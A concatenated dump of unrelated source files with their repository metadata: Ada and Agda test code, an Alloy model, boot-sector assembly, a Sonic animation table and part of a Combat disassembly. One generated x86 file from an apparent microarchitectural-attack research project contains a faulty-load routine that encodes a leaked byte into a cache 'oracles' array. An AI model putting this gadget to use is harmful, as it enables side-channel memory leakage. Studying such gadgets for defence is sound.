with AUnit.Test_Suites;
with AUnit.Test_Fixtures;
with Ada.Strings.Unbounded;
with GNAT.Source_Info;
-- The <b>Util.XUnit</b> package exposes a common package definition used by the Ada testutil
-- library. It is intended to hide the details of the AUnit implementation.
-- A quite identical package exist for Ahven implementation.
package Util.XUnit is
use Ada.Strings.Unbounded;
use AUnit.Test_Suites;
subtype Status is AUnit.Status;
Success : constant Status := AUnit.Success;
Failure : constant Status := AUnit.Failure;
subtype Message_String is AUnit.Message_String;
subtype Test_Suite is AUnit.Test_Suites.Test_Suite;
subtype Access_Test_Suite is AUnit.Test_Suites.Access_Test_Suite;
function Format (S : in String) return Message_String renames AUnit.Format;
type Test_Case is abstract new AUnit.Simple_Test_Cases.Test_Case with null record;
-- maybe_overriding
procedure Assert (T : in Test_Case;
Condition : in Boolean;
Message : in String := "Test failed";
Source : in String := GNAT.Source_Info.File;
Line : in Natural := GNAT.Source_Info.Line);
type Test is abstract new AUnit.Test_Fixtures.Test_Fixture with null record;
-- maybe_overriding
procedure Assert (T : in Test;
Condition : in Boolean;
Message : in String := "Test failed";
Source : in String := GNAT.Source_Info.File;
Line : in Natural := GNAT.Source_Info.Line);
-- The main testsuite program. This launches the tests, collects the
-- results, create performance logs and set the program exit status
-- according to the testsuite execution status.
generic
with function Suite return Access_Test_Suite;
procedure Harness (Output : in Ada.Strings.Unbounded.Unbounded_String;
XML : in Boolean;
Result : out Status);
end Util.XUnit;
|
test/Fail/Issue2580.agda
|
cruhland/agda
| 1,989 |
15625
|
<filename>test/Fail/Issue2580.agda
-- 2017-05-11, Reported by Ulf
-- Implicit absurd matches should be treated in the same way as explicit ones
-- when it comes to being used/unused.
open import Agda.Builtin.Bool
open import Agda.Builtin.Equality
data ⊥ : Set where
record ⊤ : Set where
abort : (A : Set) {_ : ⊥} → A
abort A {}
test : (x y : ⊥) → abort Bool {x} ≡ abort Bool {y}
test x y = refl
|
Cats/Category/Constructions/Terminal.agda
|
JLimperg/cats
| 24 |
13388
|
<gh_stars>10-100
{-# OPTIONS --without-K --safe #-}
module Cats.Category.Constructions.Terminal where
open import Data.Product using (proj₁ ; proj₂)
open import Level
open import Cats.Category.Base
import Cats.Category.Constructions.Iso as Iso
import Cats.Category.Constructions.Unique as Unique
module Build {lo la l≈} (Cat : Category lo la l≈) where
open Category Cat
open Iso.Build Cat
open Unique.Build Cat
IsTerminal : Obj → Set (lo ⊔ la ⊔ l≈)
IsTerminal ⊤ = ∀ X → ∃! X ⊤
record HasTerminal : Set (lo ⊔ la ⊔ l≈) where
field
⊤ : Obj
isTerminal : IsTerminal ⊤
! : ∀ X → X ⇒ ⊤
! X = ∃!′.arr (isTerminal X)
!-unique : ∀ {X} (f : X ⇒ ⊤) → ! X ≈ f
!-unique {X} f = ∃!′.unique (isTerminal X) _
⇒⊤-unique : ∀ {X} (f g : X ⇒ ⊤) → f ≈ g
⇒⊤-unique f g = ≈.trans (≈.sym (!-unique f)) (!-unique g)
⊤-unique : ∀ {X} → IsTerminal X → X ≅ ⊤
⊤-unique {X} term = record
{ forth = ! X
; back = term ⊤ .∃!′.arr
; back-forth = ≈.trans (≈.sym (term X .∃!′.unique _)) (term X .∃!′.unique _)
; forth-back = ⇒⊤-unique _ _
}
terminal-unique : ∀ {X Y} → IsTerminal X → IsTerminal Y → X ≅ Y
terminal-unique X-term Y-term
= HasTerminal.⊤-unique (record { isTerminal = Y-term }) X-term
open Build public using (HasTerminal)
private
open module Build′ {lo la l≈} {C : Category lo la l≈}
= Build C public using (IsTerminal ; terminal-unique)
|
s-fileio.ads
|
ytomino/gnat4drake
| 0 |
3042
|
pragma License (Unrestricted);
with System.File_Control_Block;
package System.File_IO is
pragma Preelaborate;
procedure Check_File_Open (File : File_Control_Block.AFCB_Ptr);
end System.File_IO;
|
_anim/obj23.asm
|
vladjester2020/Sonic1TMR
| 0 |
240684
|
<filename>_anim/obj23.asm
; ---------------------------------------------------------------------------
; Animation script - missile that Buzz Bomber throws
; ---------------------------------------------------------------------------
dc.w byte_9A2E-Ani_obj23
dc.w byte_9A32-Ani_obj23
byte_9A2E: dc.b 7, 0, 1, $FC
byte_9A32: dc.b 1, 2, 3, $FF
even
|
msdos/DOS/loader.asm
|
Cth1003/pcTest
| 0 |
90111
|
<filename>msdos/DOS/loader.asm
ORG 0x7c00
;DOS loader
JMP short loader
nop
;Jump to loader
db 0x44, 0x4F, 0x53, 0x20, 0x20, 0x20, 0x20, 0x20, 0x00, 0x02, 0x10, 0x05, 0x00, 0x02, 0x00, 0x02,
db 0x40, 0x0B, 0xF8, 0xF0, 0x00, 0x3D, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
db 0x00, 0x00, 0x00, 0x29, 0x34, 0x61, 0x53, 0x09, 0x4E, 0x4F, 0x20, 0x4E, 0x41, 0x4D, 0x45, 0x20,
db 0x20, 0x20, 0x20, 0x46, 0x41, 0x54, 0x31, 0x36, 0x20, 0x20, 0x20
loader:
;Init
CLI
MOV AX,0
MOV SS,AX
MOV SP,0x7C00;Segment
MOV AH,0x6
MOV AL,0
MOV CX,0
MOV DH,24
MOV DL,79
MOV BH,7
MOV BL,0
int 0x10;Clear Screen
MOV AH,0x2
MOV BH,0
MOV DX,0
int 0x10;Set cursor
MOV AX,0
MOV BX,0
MOV CX,0
MOV DX,0
;Print
MOV BX,boot_text
call print_text
call reset_disk
; call get_disk_status
;Floppy Size:0x168000
;Address:0x3CA00
;H 0
;S 5
;C 6
MOV AX,0x060
MOV ES,AX
MOV AH,0x02
MOV AL,0x01
;Sector number
MOV CH,13
MOV CL,18
MOV DH,0
MOV DL,0
MOV BX,0x00
int 0x13
JC read_failed
MOV BX,check_disk_success_text
call print_text
;Check the first file
cmp_start:
MOV BX,program_name
MOV CX,0x600
cmp_next:
CMP BX,program_name+11
JE cmp2_start
MOV AL,[DS:BX]
ADD BX,1
PUSH BX
MOV BX,CX
ADD CX,1
MOV AH,[DS:BX]
CMP AH,AL
POP BX
JE cmp_next
JMP no_such_file
cmp2_start:
MOV BX,CX
ADD BX,0x1C-0xB
MOV AX,[DS:BX]
CMP AX,0x0800;2 bytes
JNE no_such_file
ADD BX,2
MOV AX,[DS:BX]
CMP AX,0x0000;2bytes
JNE no_such_file
;File size
MOV BX,CX
;ADD BX,0x0B-0xB
MOV AL,[DS:BX]
CMP AL,0x27
JNE no_such_file
;File type
MOV BX,CX
ADD BX,0x1A-0xB
MOV AL,[DS:BX]
CMP AL,2
JNE no_such_file
;Cluster
MOV BX,find_success_text
call print_text
run_code:
;Read Cluster's first 2048 byte
;Address in floppy:0x40A00
MOV AX,0x07d0
MOV DS,AX
MOV ES,AX
MOV AH,0x02
MOV AL,4
;Sector number
MOV CH,14
MOV CL,14
MOV DX,0
MOV BX,0x100
int 0x13
JC read_failed
;Run
MOV AX,0
MOV SS,AX
MOV SP,0x0600
MOV BX,0
MOV CX,0
MOV DX,0
jmp 0x7d0:0x100
;jump to 0x7e00
loop:
JMP loop
no_such_file:
MOV BX,no_such_file_text
call print_text
JMP loop
print_text:
PUSH BX
MOV AH,0x0E
MOV AL,byte [BX]
CMP byte AL,0
je print_finish
MOV BH,0
MOV BL,0
INT 0x10
POP BX
ADD BX,1
JMP print_text
print_finish:
MOV AH,0x0E
MOV AL,0x0D
MOV BH,0
MOV BL,0
INT 0x10
MOV AH,0x0E
MOV AL,0x0A
MOV BH,0
MOV BL,0
INT 0x10
POP BX
ret
reset_disk:
PUSH AX
PUSH DX
MOV AX,0x00
MOV DX,0x00
int 0x13
POP AX
POP DX
ret
; get_disk_status:
; PUSH AX
; PUSH BX
; PUSH CX
; PUSH DX
; MOV BX,0
; MOV CX,0
; MOV AH,0x01
; MOV DL,0x00
; int 0x13
; CMP AL,0
; JE no_error
; POP DX
; POP CX
; POP BX
; POP AX
; MOV BX,disk_error_text
; call print_text
; JMP loop
; no_error:
; POP DX
; POP CX
; POP BX
; POP AX
; ret
read_failed:
MOV BX,read_failed_text
call print_text
JMP loop
boot_text:
db "DOS v0.99",0x00
; disk_error_text:
; db "Disk error",0x00
read_failed_text:
db "Read failed",0x00
no_such_file_text:
db "No such file.",0x00
find_success_text:
db "Find file.",0x00
check_disk_success_text:
db "Check disk success.",0x00
program_name:
db "DOS SYS"
times 510-($-$$) db 0
dw 0xAA55
|
src/Values.agda
|
peterthiemann/definitional-session
| 9 |
9706
|
module Values where
open import Data.Bool
open import Data.List
open import Data.List.All
open import Data.Nat
open import Data.Product
open import Data.Sum
open import Relation.Binary.PropositionalEquality
open import Typing
open import Syntax
open import Global
open import Channel
mutual
-- a value indexed by a *relevant* session context, which is "used up" by the value
data Val (G : SCtx) : Type → Set where
VUnit : (inaG : Inactive G)
→ Val G TUnit
VInt : (i : ℕ)
→ (inaG : Inactive G)
→ Val G TInt
VPair : ∀ {t₁ t₂ G₁ G₂}
→ (ss-GG₁G₂ : SSplit G G₁ G₂)
→ (v₁ : Val G₁ t₁)
→ (v₂ : Val G₂ t₂)
→ Val G (TPair t₁ t₂)
VChan : ∀ {s}
→ (ce : ChannelEnd)
→ (cr : ChannelRef G ce s)
→ Val G (TChan s)
VFun : ∀ {φ lu t₁ t₂}
→ (lu ≡ LL ⊎ All Unr φ)
→ (ϱ : VEnv G φ)
→ (e : Expr (t₁ ∷ φ) t₂)
→ Val G (TFun lu t₁ t₂)
-- type environment-indexed value environment
-- session context G describes the entire environment, it splits over all (channel) values
data VEnv (G : SCtx) : TCtx → Set where
vnil : (ina : Inactive G) → VEnv G []
vcons : ∀{t φ G₁ G₂} → (ssp : SSplit G G₁ G₂) → (v : Val G₁ t) → (ϱ : VEnv G₂ φ) → VEnv G (t ∷ φ)
unrestricted-val : ∀ {t G} → Unr t → Val G t → Inactive G
unrestricted-venv : ∀ {φ G} → All Unr φ → VEnv G φ → Inactive G
unrestricted-val UUnit (VUnit x) = x
unrestricted-val UInt (VInt i x) = x
unrestricted-val (UPair unrt unrt₁) (VPair x v v₁) =
ssplit-inactive x (unrestricted-val unrt v) (unrestricted-val unrt₁ v₁)
unrestricted-val {TFun UU t₁ t₂} UFun (VFun (inj₁ ()) ϱ e)
unrestricted-val {TFun UU t₁ t₂} UFun (VFun (inj₂ unr-φ) ϱ e) = unrestricted-venv unr-φ ϱ
unrestricted-venv unr-φ (vnil ina) = ina
unrestricted-venv (px ∷ unr-φ) (vcons ssp v ϱ) =
ssplit-inactive ssp (unrestricted-val px v) (unrestricted-venv unr-φ ϱ)
-- access a value in an indexed environment
access : ∀ {φ t} {G : SCtx} → VEnv G φ → t ∈ φ → ∃ λ G₁ → ∃ λ G₂ → Inactive G₂ × SSplit G G₁ G₂ × Val G₁ t
access (vcons ssp v ϱ) (here allUnr) = _ , _ , unrestricted-venv allUnr ϱ , ssp , v
access (vcons ssp x₀ ϱ) (there unrX₀ x) with access ϱ x
access (vcons ssp x₀ ϱ) (there unrX₀ x) | G₁ , G₂ , inaG₂ , ssp12 , v with ssplit-compose4 ssp ssp12
... | Gi , ssp1 , ssp2 = G₁ , Gi , ssplit-inactive ssp2 (unrestricted-val unrX₀ x₀) inaG₂ , ssp1 , v
-- coerce a value to a supertype
coerce : ∀ {G t t'} → Val G t → SubT t t' → Val G t'
coerce (VUnit inaG) sub-unit = VUnit inaG
coerce (VInt i inaG) sub-int = VInt i inaG
coerce (VPair ss-GG₁G₂ v v₁) (sub-pair t≤t' t≤t'') = VPair ss-GG₁G₂ (coerce v t≤t') (coerce v₁ t≤t'')
coerce (VChan b vcr) (sub-chan s≲s') = VChan b (vcr-coerce vcr s≲s')
coerce (VFun lu ϱ e) (sub-fun t≤t' t≤t'') = VFun lu ϱ (expr-coerce e t≤t'' t≤t')
rewrite-ssplit : ∀ {G G' G₁ G₂} → G ≡ G' → SSplit G G₁ G₂ → SSplit G' G₁ G₂
rewrite-ssplit p ssp rewrite p = ssp
rewrite-ssplit1 : ∀ {G G₁ G₁' G₂} → G₁ ≡ G₁' → SSplit G G₁ G₂ → SSplit G G₁' G₂
rewrite-ssplit1 p ssp rewrite p = ssp
-- split environment according to type context split
split-env : ∀ {Φ Φ₁ Φ₂} {G : SCtx}
→ Split Φ Φ₁ Φ₂
→ VEnv G Φ
→ Σ (SCtx × SCtx) λ { (G₁ , G₂) → SSplit G G₁ G₂ × VEnv G₁ Φ₁ × VEnv G₂ Φ₂ }
split-env{G = G} [] (vnil ina) = (G , G) , inactive-ssplit-trivial ina , vnil ina , vnil ina
split-env (dupl unrt sp) (vcons ssp v ϱ) with split-env sp ϱ | unrestricted-val unrt v
split-env (dupl unrt sp) (vcons ssp v ϱ) | (G₁' , G₂') , ssp12 , ϱ₁' , ϱ₂' | unr-v rewrite inactive-left-ssplit ssp unr-v with ssplit-compose4 ssp ssp12 | ssplit-compose3 ssp ssp12
... | Gi , ssp-GG1Gi , ssp-GiG1G2' | Gi-1 , ssp-GGiG2' , ssp-GiG1G1' =
let p₁ = (inactive-left-ssplit ssp-GiG1G1' unr-v) in
let p₂ = (inactive-left-ssplit ssp-GiG1G2' unr-v) in
(G₁' , G₂') , ssp12 , vcons (rewrite-ssplit p₁ ssp-GiG1G1') v ϱ₁' , vcons (rewrite-ssplit p₂ ssp-GiG1G2') v ϱ₂'
split-env (drop px sp) (vcons ssp v ϱ)
rewrite inactive-left-ssplit ssp (unrestricted-val px v)
= split-env sp ϱ
split-env (left sp) (vcons ssp v ϱ) with split-env sp ϱ
split-env{G = G} (left sp) (vcons ssp v ϱ) | (G₁' , G₂') , ssp12 , ϱ₁' , ϱ₂' with ssplit-compose3 ssp ssp12
... | Gi , ssp-GiG2' , ssp-GiG1G1' = (Gi , G₂') , ssp-GiG2' , vcons ssp-GiG1G1' v ϱ₁' , ϱ₂'
split-env (rght sp) (vcons ssp v ϱ) with split-env sp ϱ
split-env (rght sp) (vcons ssp v ϱ) | (G₁' , G₂') , ssp12 , ϱ₁' , ϱ₂' with ssplit-compose4 ssp ssp12
...| Gi , ssp-GG1'Gi , ssp-GiG1G2' = (G₁' , Gi) , ssp-GG1'Gi , ϱ₁' , vcons ssp-GiG1G2' v ϱ₂'
|
alloy4fun_models/trashltl/models/17/Lt3BYRgeZeq7icPp9.als
|
Kaixi26/org.alloytools.alloy
| 0 |
5317
|
open main
pred idLt3BYRgeZeq7icPp9_prop18 {
always all p : Protected | p in Protected until p in Trash
}
pred __repair { idLt3BYRgeZeq7icPp9_prop18 }
check __repair { idLt3BYRgeZeq7icPp9_prop18 <=> prop18o }
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_19543_212.asm
|
ljhsiun2/medusa
| 9 |
160012
|
<reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r8
push %rbp
push %rcx
push %rdi
lea addresses_D_ht+0x12c33, %r8
nop
nop
nop
nop
nop
add $41720, %rbp
movl $0x61626364, (%r8)
nop
nop
nop
nop
nop
add %rdi, %rdi
lea addresses_UC_ht+0x172b3, %r12
nop
nop
add $545, %r11
mov $0x6162636465666768, %rcx
movq %rcx, %xmm1
vmovups %ymm1, (%r12)
nop
nop
nop
nop
xor %rcx, %rcx
lea addresses_WT_ht+0x17533, %r8
cmp %rbp, %rbp
movl $0x61626364, (%r8)
nop
nop
cmp %rdi, %rdi
lea addresses_A_ht+0x1dfc3, %r8
clflush (%r8)
nop
nop
nop
nop
nop
add $58257, %r14
movb $0x61, (%r8)
nop
sub %rdi, %rdi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r8
push %r9
push %rax
push %rbp
push %rbx
push %rdi
// Store
lea addresses_UC+0x50e3, %rdi
xor $33758, %rbp
movw $0x5152, (%rdi)
nop
nop
nop
add $53814, %rax
// Faulty Load
lea addresses_PSE+0x12f33, %rbp
nop
nop
cmp %r9, %r9
vmovups (%rbp), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $1, %xmm2, %rdi
lea oracles, %rbx
and $0xff, %rdi
shlq $12, %rdi
mov (%rbx,%rdi,1), %rdi
pop %rdi
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r8
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 4, 'same': True}}
{'33': 19543}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
tools-src/gnu/binutils/gas/testsuite/gasp/crash.asm
|
enfoTek/tomato.linksys.e2000.nvram-mod
| 80 |
9394
|
<gh_stars>10-100
Stuff to try and crash it
foo: .MACRO
HI
bar: .MACRO
THERE
bar
.ENDM
.ENDM
foo
foo
foo
foo
foo
bar
|
DiskExtensionService/boot.asm
|
vincent102416849/x86_os_development
| 0 |
8529
|
[BITS 16]
[ORG 0x7c00]
Start:
xor ax,ax
mov ds,ax
mov es,ax
mov ss,ax
mov sp,0x7c00
TestDiskExtension:
mov [DriveId],dl
mov ah,0x41
mov bx,0x55aa
int 0x13
jc NotSupport1
cmp bx,0xaa55
jne NotSupport2
PrintDriveId:
mov ah,0x13
mov al,1
mov bx,0xa
xor dx,dx
mov bp,DeviceIdMessage
mov cx,DeviceIdMessageLen
int 0x10
mov dl,DeviceIdMessageLen+1
add byte [DriveId],48
mov bp,DriveId
mov cx,1
int 0x10
jmp End
NotSupport1:
mov ah,0x13
mov al,1
mov bx,0xa
xor dx,dx
mov bp,NotSupport1Msg
mov cx,NotSupport1MsgLen
int 0x10
jmp End
NotSupport2:
mov ah,0x13
mov al,1
mov bx,0xa
xor dx,dx
mov bp,NotSupport2Msg
mov cx,NotSupport2MsgLen
int 0x10
End:
hlt
jmp End
DriveId: db 0
DeviceIdMessage: db "Device Id:"
DeviceIdMessageLen: equ $-DeviceIdMessage
NotSupport1Msg: db "Not support 1"
NotSupport1MsgLen: equ $-NotSupport1Msg
NotSupport2Msg: db "Not support 2"
NotSupport2MsgLen: equ $-NotSupport2Msg
times (0x1be-($-$$)) db 0
db 80h
db 0,2,0
db 0f0h
db 0ffh,0ffh,0ffh
dd 1
dd (20*16*63-1)
times (16*3) db 0
db 0x55
db 0xaa
|
test/roms/dicombat.asm
|
zeh/dasmjs
| 16 |
84529
|
<filename>test/roms/dicombat.asm
; https://atariage.com/2600/archives/combat_asm/index.html
; (Fixed with MisDec instead of BMisDec)
; Combat for Atari by <NAME>
;
; Original disassembly by <NAME>
; Commented further by <NAME> (1997)
; Major overhaul by <NAME> (2002)
;
; My intent in overhauling this classic disassembly is to finish it
; so that the purpose of every instruction, memory location, and
; table is made completely clear.
;
; For some reason the NBCOMBAT file ORG statements all point to
; the region $1000-$1FFF; this would play in a VCS but the cartridge
; .BIN I have is mapped from $F000-$FFFF. This file compiles with
; DASM to an image which differs from this ROM only in the few
; unwritten bytes between the end of data and the startup vectors.
; DASM sets these to zero, typical of unwritten RAM, but in the cart
; they are $FF, typical of unprogrammed PROM.
;
; Thanks to <NAME> for pointing me to <NAME>'s
; presentation notes, which revealed Atari's original names
; for the main loop toplevel routines and offered some guidance
; on their separation of function.
;
; I have removed some of the breathless intro-to-VCS and historical
; comments. This version assumes a basic familiarity with VCS
; programming, and is meant as a basis for hacking the COMBAT game
; itself. There are plenty of resources outside of this file if
; you don't know how the VCS works.
;
; For reference, as this is rather important when reading the,
; code, here is the game variation matrix (it is not trivially
; obvious how this corresponds to GAMVAR):
;
; Game No. Open Field
; | Straight Missiles | Easy Maze
; | | Guided Missiles | | Complex Maze
; | | | Machine Guns | | | Clouds
; | | | | Direct Hit | | | |
; | | | | | Billiard | | | |
; | | | | | | Hit | | | |
; | | | | | | | | | |
; | | | | | | | | | |
;
;TANK 1 - X - - - X - - -
; 2 - X - - - - X - -
; 3 X - - - - - X - -
; 4 - X - - - - - X -
; 5 X - - - - - - X -
;--------------------------------------------------
;TANK-PONG 6 - - - X X - X - -
; 7 - - - X X - - X -
; 8 - - - - X X - - -
; 9 - - - - X - X - -
;--------------------------------------------------
;INVISIBLE TANK 10 - X - - - X - - -
; 11 - X - - - - X - -
;--------------------------------------------------
;INVISIBLE 12 - - - X X - X - -
;TANK-PONG 13 - - - - X X - - -
; 14 - - - - X - X - -
;--------------------------------------------------
;BI-PLANE 15 - X - - - - - - X
; 16 X - - - - - - - X
; 17 - - X - - - - - X
; 18 - - X - - X - - -
; 2 vs. 2 19 - X - - - X - - -
; 1 vs. 3 20 X - - - - X - - -
;--------------------------------------------------
;JET 21 - X - - - - - - X
; 22 X - - - - - - - X
; 23 - X - - - X - - -
; 24 X - - - - X - - -
; 2 vs. 2 25 - X - - - - - - X
; 1 vs. 3 26 - X - - - X - - -
; 2 vs. 2 27 X - - - - X - - -
processor 6502
include vcs.h
; RAM is cleared in blocks beginning at various addresses and
; always ending at $A2 (though this isn't the highest address
; used). I have placed \\\/// comments to mark these points.
BINvar = $80 ; Master Game Variation Control (binary)
; (When BINvar is reset or incremented,
; BCDvar is reset or BCD-imcremented and
; GAMVAR flag is read from VARMAP+BINvar)
BCDvar = $81 ; Game Variation in BCD
;
;\\\///
;
; $82 thru $85 contain flags built from GAMVAR for quick testing via BIT.
;
PF_PONG = $82 ; bit 7 DIS-able playfield flag
; ; bit 6 Pong missiles (bounce off playfield)
GUIDED = $83 ; bit 7 = guided missile game
; ; bit 6 = machine gun game
BILLIARD = $84 ; Just bit 6 = billiard hit game (missiles can't
; ; hit tank until at least 1 bounce off playfield)
GAMSHP = $85 ; Shape of player and game type
; ; 0 = Tank
; ; 1 = Biplane
; ; 2 = Jet Fighter
;
CLOCK = $86 ; Master timer inc'd every frame during VSYNC
; ; in NBCOMBAT this was misleadingly labelled GTIMER
SHOWSCR = $87 ; Show/hide RIGHT player score (left only is used
; ; to indicate game selection in attract mode) To
; ; inhibit both scores, KLskip is set to $0E vs. $02
GameOn = $88 ; $00=attract mode, $FF=game going on. Bits 7, 1,
; ; and "all" tested in various places. Incorrectly set
; ; to $10 at START, but must not be a problem :-)
;\\\///
;
SelDbnce = $89 ; Select Switch Debounce flag which prevents a
; ; hold-down from registering as 60 presses/second
StirTimer = $8A ; Bit 0 = identity of loser during tank stir
; ; Bits 2-7 = countdown timer controlling stir after loss
Vtemp = $8B ; Temp storage for current velocity
FwdTimer = $8D ; FwdTimer must count $F0 to $00 between changes in
; thru $8E ; forward motion control; also used for momentum pacing
; $8F ; ...
; thru $90 ; seem to be reserved too (missiles?) but not used
LastTurn = $91 ; Flag indicating direction of last turn, used
; thru $92 ; to inhibit whipsaw direction changes (may
; ; have been intended for rotational momentum)
TurnTimer = $93 ; Countdown timer between 22.5-degree rotates
; thru $94 ; for P0 and P1
DIRECTN = $95 ; Players and missiles' current bearing.
; thru $98 ; (4 bytes P0,P1,M0,M1)
MisLife = $99 ; Missile Lifetime down-counters
; thru $9A
BounceCount = $9B ; (1) Billiard bounced-once flag, via any value other
; thru $9C ; than $1F init value; (2) Pong sound tone freq, which
; ; ascends in tone as BounceCount DECed with each bounce
MxPFcount = $9D ; During Pong bounce, count of collision duration in
; thru $9E ; frames, used to try different heading adjustments
; ; until "desired" reflection achieved
AltSnd = $9F ; Alt Player Sound flag/counter; 0=normal motor sound,
; thru $A0 ; else counts up to $04 to time Pong sound
SCORE = $A1 ; Player scores in BCD.
; thru $A2 ;
;
;\\\/// Addresses beyond here aren't ever cleared by ClearMem.
;
GAMVAR = $A3 ; Game Variation bitwise descriptor via VARMAP
TankY0 = $A4 ; Tank 0's Y-position
TankY1 = $A5 ; and tank 1
MissileY0 = $A6 ; Missile 0's Y-position
MissileY1 = $A7 ; and missile 1
MVadjA = $A8 ; First-half FwdTimer-Velocity adjustments
; thru $A9 ; for each player. By an amazing coincidence
; ; in all games these seem to be the same as
; ; the *current* velocity.
MVadjB = $AA ; Second-half FwdTimer-Velocity adjustments,
; thru $AB ; which seem to be the same as the *final* velocity.
MPace = $AC ; Pacing counter; never initialized! INC'd and
; ; masked to pace certain actions slower than
; thru $AF ; once/frame, for each player & missile
XOFFS = $B0 ; X-offset for pending Hmove.
XoffBase = $B1 ; $0, $10, $20, or $30 offset into X-offset tbl
OldMisDir = $B2 ; Missile bearing before a Pong-bounce began
; thru $B3 ;
ScanLine = $B4 ; Current scanline on the playfield.
LORES = $B5 ; lo-res indirect addresses.
; thru $BA ; 6 bytes / 3 16-bit pointers
SHAPES = $BB ; Pointer to player sprites
HIRES = $BD ; Hi-res (sprite) shape buffer. Left player's shape
; thru $CC ; stored in even bytes, right player's in odd.
TEMP1 = $D1 ; Temp storage for several quick save/math operations
TEMP = $D2 ; "score conversion temporary"
TMPSTK = $D3 ; Temporary storage for stack.
DIFSWCH = $D5 ; Hold & shift temp for console switches
Color0 = $D6 ; Colors loaded from ColorTbl for player 0 and 1
Color1 = $D7 ; These may be changed e.g. invisible tanks
XColor0 = $D8 ; Repeated P0 and P1 Colors for reference, used
